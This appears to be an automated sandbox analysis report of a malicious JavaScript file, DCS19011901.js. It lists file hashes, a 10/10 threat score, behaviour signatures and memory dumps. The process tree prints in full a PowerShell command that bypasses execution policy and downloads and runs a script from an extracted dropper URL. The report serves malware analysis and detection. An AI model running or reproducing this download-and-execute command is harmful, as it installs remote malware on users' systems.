Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    08-02-2024 14:29

General

  • Target

    DCS19011901.js

  • Size

    29KB

  • MD5

    0d0e14c18ac4db3bced742abbc1e80e6

  • SHA1

    44977720d24a921e3b5cc52aadb99e8531a6985a

  • SHA256

    87d72fac49d1573f32930344a6be4ea18c0409a2b8f0a53c2e0f5e0d57b49459

  • SHA512

    3525f05b82e085ce67f43ad2f7f0168928a00122e1b86a1432f0e242532121e4160bbc0d81fcd2135d2dcb355d9535c5c5a300dcf3341ec875cf22840346c649

  • SSDEEP

    768:NPnwrYNgIqAEAU5s1ZuRl+30XxVUlA5Oxay7HCA+4TJUwnbmZrLMqNcWgRb3KBBB:YVMKEiZNoa/TAC

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://assime.ca/command.php

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\DCS19011901.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2688

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2688-5-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB

  • memory/2688-4-0x000000001B6B0000-0x000000001B992000-memory.dmp

    Filesize

    2.9MB

  • memory/2688-6-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-7-0x0000000002E10000-0x0000000002E90000-memory.dmp

    Filesize

    512KB

  • memory/2688-8-0x0000000002E10000-0x0000000002E90000-memory.dmp

    Filesize

    512KB

  • memory/2688-9-0x0000000002E10000-0x0000000002E90000-memory.dmp

    Filesize

    512KB

  • memory/2688-10-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-11-0x000007FEF5C30000-0x000007FEF65CD000-memory.dmp

    Filesize

    9.6MB

  • memory/2688-12-0x0000000002E10000-0x0000000002E90000-memory.dmp

    Filesize

    512KB